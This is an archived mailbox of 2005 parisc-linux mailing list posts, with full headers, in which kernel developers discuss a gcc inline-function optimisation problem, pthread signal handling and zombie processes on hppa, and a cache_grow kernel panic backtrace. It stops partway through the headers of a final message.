X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Apr 2005 00:07:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx009) with SMTP; 04 Apr 2005 02:07:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D30907D676;
	Sun,  3 Apr 2005 18:09:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11403-10; Sun, 3 Apr 2005 18:09:15 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 501F87D67C;
	Sun,  3 Apr 2005 18:09:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0D8B37D675
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Apr 2005 18:09:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11414-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Apr 2005 18:09:11 -0600 (MDT)
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 81A547D668
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Apr 2005 18:09:11 -0600 (MDT)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.33) id 1DIF7j-00065j-Uk; Mon, 04 Apr 2005 01:07:23 +0100
Content-Disposition: inline
In-Reply-To: <1112572589.5860.3.camel@mulgrave>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: E+AiYgJDeSE5+76WZHQhaXN2IGRvb8DO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22556

On Sun, Apr 03, 2005 at 06:56:28PM -0500, James Bottomley wrote:
> On Sun, 2005-04-03 at 23:13 +0100, Matthew Wilcox wrote:
> > Perhaps there's a difference between an inline function and a macro
> > in terms of constant propagation?  If you turn __test_width() into
> > a macro, it should work (see the implementation of __get_user() in
> > asm-parisc/uaccess.h)
> 
> Yes, if I change it to a pure #define, everything works OK.
> 
> However, unless we can get the inline function to work, I still have to
> go back to davem ... Do I just tell him we can't fix our toolchain, so
> how about this?

Even if we can fix the toolchain, there's going to be a lot of people
out there who'd have to upgrade.  I'd prefer it if we didn't have to
force an upgrade ...

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc (3.3.5) causing problems in our latest kernel.
Date: Sun, 3 Apr 2005 17:43:47 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <20050404004347.GG8921@tausq.org>
References: <1112564457.5858.7.camel@mulgrave>
	<200504032343.j33NhqX2019108@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623735 13642 80.91.229.3 (22 Nov 2014 02:35:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:35 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Apr 2005 00:43:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx049) with SMTP; 04 Apr 2005 02:43:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 191DB7D681;
	Sun,  3 Apr 2005 18:45:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11696-07; Sun, 3 Apr 2005 18:45:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 873657D682;
	Sun,  3 Apr 2005 18:45:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D3C517D67E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Apr 2005 18:45:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11414-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Apr 2005 18:45:37 -0600 (MDT)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id 5BE2D7D67C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Apr 2005 18:45:37 -0600 (MDT)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id 7E5C9112106; Sun,  3 Apr 2005 17:43:47 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200504032343.j33NhqX2019108@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: mOgiYvQDeSE5+76WZHQhaXN2IGRvb8Dj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22557

> > static inline void __test_width(char *var, int size) {
> > 	switch (size) {	
> > 	case 1:
> > 	case 2:
> > 	case 4:
> > 	case 8:
> > 		*var++ = 0;
> > 		break;
> > 	default:
> > 		bad_function();
> > 	}
> > }
> 
> I think the optimization of switch statements is far from optimal.
> I suspect that the optimization of if statements is better.  A similar
> issue causes warning from __put_user in a 32-bit build.  Probably,
> this should be a GCC PR.

Try changing that function to
static inline void __test_width(char *var, const int size) {

willy says it worked for him :)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Sun, 3 Apr 2005 17:50:38 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20050404005038.GH8921@tausq.org>
References: <20050403143246.GE8921@tausq.org>
	<200504032041.j33KfpVf018465@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623735 13645 80.91.229.3 (22 Nov 2014 02:35:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Apr 2005 00:50:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 04 Apr 2005 02:50:55 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B60A37D681;
	Sun,  3 Apr 2005 18:52:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11869-09; Sun, 3 Apr 2005 18:52:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B23EF7D684;
	Sun,  3 Apr 2005 18:52:38 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5831F7D681
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Apr 2005 18:52:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11869-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Apr 2005 18:52:32 -0600 (MDT)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id D524E7D67E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Apr 2005 18:52:32 -0600 (MDT)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id 77BFA112106; Sun,  3 Apr 2005 17:50:38 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200504032041.j33KfpVf018465@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: J+oiYgo6eSE5+76WZHQhaXN2IGRvb4A6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22558

> What's the situation on the following signals: SIGLTHRRES, SIGLTHRCAN
> and SIGLTHRDBG?  I'm not sure but pthread_cond_signal may need SIGLTHRRES.
> Are these signals 37, 38 and 39?

yes, we use the same signals. 

int __pthread_sig_restart = __SIGRTMIN;
int __pthread_sig_cancel = __SIGRTMIN + 1;
int __pthread_sig_debug = __SIGRTMIN + 2;

SIGRTMIN is 37

i think we can reduce the test to a signals test. if you strace the test
program you will see that it's doing a loop of sigprocmask(),
sigsuspend(), wake up by signal, etc.... that may make a test case a bit
simpler.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Sun, 3 Apr 2005 17:53:48 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20050404005348.GI8921@tausq.org>
References: <20050403143246.GE8921@tausq.org>
	<200504032024.j33KOXcu018402@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623735 13647 80.91.229.3 (22 Nov 2014 02:35:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Apr 2005 00:54:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx021) with SMTP; 04 Apr 2005 02:54:09 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DF0717D695;
	Sun,  3 Apr 2005 18:55:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12063-07; Sun, 3 Apr 2005 18:55:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4CEDB7D699;
	Sun,  3 Apr 2005 18:55:41 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B71777D687
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Apr 2005 18:55:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12063-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Apr 2005 18:55:38 -0600 (MDT)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id 3EEE17D682
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Apr 2005 18:55:38 -0600 (MDT)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id DF95F112271; Sun,  3 Apr 2005 17:53:48 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200504032024.j33KOXcu018402@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZfUiYr1AeSE5+76WZHQhaXN2IGRvb0D7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22559

In reference to a message from John David Anglin, dated Apr 03:
> > The test program is in cvs in the userspace repository. It's called
> > thread_test2.c. It creates threads one at a time, and uses condition
> > variables for synchronization. On hppa the program will hang after some
> > time, and ps shows a lot of zombie processes. On x86 the program runs as
> > expected and there are no zombies.
> 
> I see threadfunc uses waitpid.  This is the same syscall that seems
> to cause problems with expect (zombie expect child and parent waiting
> for signal that never comes).

This is very similar to what happens with my test program.

Running this under gdb is kind of amusing. gdb gets quite confused...

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cache_grow panic on 715/100
Date: Mon, 4 Apr 2005 15:56:19 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <20050404145619.GA11924@ntlworld.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623736 13649 80.91.229.3 (22 Nov 2014 02:35:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Apr 2005 14:56:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 04 Apr 2005 16:56:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D9FFC7D65B;
	Mon,  4 Apr 2005 08:58:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16480-05; Mon, 4 Apr 2005 08:58:20 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F057C7D65D;
	Mon,  4 Apr 2005 08:58:19 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9B8D57D646
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Apr 2005 08:58:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16480-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Apr 2005 08:58:13 -0600 (MDT)
Original-Received: from mta08-winn.mailhost.ntl.com (smtpout16.mailhost.ntl.com
	[212.250.162.16])
	by free.linux.hp.com (Postfix) with ESMTP id CC1507D630
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Apr 2005 08:58:12 -0600 (MDT)
Original-Received: from aamta02-winn.mailhost.ntl.com ([212.250.162.8])
	by mta08-winn.mailhost.ntl.com with ESMTP id
	<20050404145623.JUZY928.mta08-winn.mailhost.ntl.com@aamta02-winn.mailhost.ntl.com>
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Apr 2005 15:56:23 +0100
Original-Received: from janus ([82.9.44.76]) by aamta02-winn.mailhost.ntl.com with ESMTP
	id <20050404145622.WIFD1289.aamta02-winn.mailhost.ntl.com@janus>
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Apr 2005 15:56:22 +0100
Original-Received: from sdb by janus with local (Exim 3.35 #1 (Debian))
	id 1DISzz-00036f-00 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 04 Apr 2005 15:56:19 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5jAjYjEOeSE5+76WZHQhaXN2IGRvb8Cl
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22560

Hi,

I just got the cache_grow panic on my 715/100:

Unpacking libgtk2.0-0 (from ../libgtk2.0-0_2.6.2-4_hppa.deb) ...
Selecting previously deselected package libidl0.
Unpacking libidl0 (from ../libidl0_0.8.5-1_hppa.deb) ...
Selecting previously deselected package mozilla-firefox.
Unpacking mozilla-firefox (from .../mozilla-firefox_1.0.2-1_hppa.deb) ...
Backtrace:
 [<1014f854>] cache_grow+0xd4/0x1a8
 [<1014fac8>] cache_alloc_refill+0x1a0/0x260
 [<1014fdc0>] kmem_cache_alloc+0x30/0x4c
 [<101c1680>] journal_alloc_journal_head+0x28/0xac
 [<101c17f0>] journal_add_journal_head+0xc8/0x13c
 [<101bae74>] journal_dirty_data+0x64/0x1b0
 [<101aa494>] ext3_journal_dirty_data+0x1c/0x60
 [<101aa25c>] walk_page_buffers+0xe0/0xf0
 [<101aab68>] ext3_ordered_writepages+0x168/0x1fc
 [<1019112c>] mpage_writepages+0x28c/0x3b0
 [<1018f48c>] __sync_single_inonde+0x5c/0x278
 [<1018f710>] __writebacak_single_inode+0x68/0x168
 [<1018f9dc>] sync_sb_inodes+0x1cc/0x310
 [<1018fb90>] writeback_inodes+0x70/0xd4
 [<1014cc50>] background_writeout+0xb4/0x10c
 [<1014d93c>] __pdflush+0x138/0x204


Kernel Fault: Code=15 regs=106a4a40 (Addr=26e3688c)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001110011100001111 Not tainted
r00-03  00000000 10362620 1014d854 1035a9b4
r04-07  16adc000 100ad460 00000010 00000050
r08-11  00000001 00000000 00001000 136543e8
r12-15  101aa9d0 1073458c 00002000 00000000
r16-19  101aaa00 106a4508 00000000 26e369b4
r20-23  0000000f 00000000 102df4f4 00000050
r24-27  1035a87c 00000050 100ad460 102cd010
r28-31  26e3687c 00000000 106a4a40 10152084
sr0-3   00000000 000001dc 00000000 000001dc
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1014f5c8 1014f5cc
 IIR: 6b800020    ISR: 00000000  IOR: 26e3688c
 CPU:        0   CR30: 106a4000 CR31: 10314000
 ORIG_R28: 24e0bb4c
 IAOQ[0]: alloc_slabmgmt+0x30/0x6c
 IAOQ[1]: alloc_slabmgmt+0x34/0x6c
 RP(r2): cache_grow+0xd4/0x1a8
Kernel panic - not syncing: Kernel Fault

-- 
Stuart Brady
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Mon, 4 Apr 2005 20:00:52 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <20050405000052.GG1833@baldric.uwo.ca>
References: <20050403143246.GE8921@tausq.org>
	<200504032041.j33KfpVf018465@hiauly1.hia.nrc.ca>
	<20050404005038.GH8921@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623736 13651 80.91.229.3 (22 Nov 2014 02:35:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:36 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
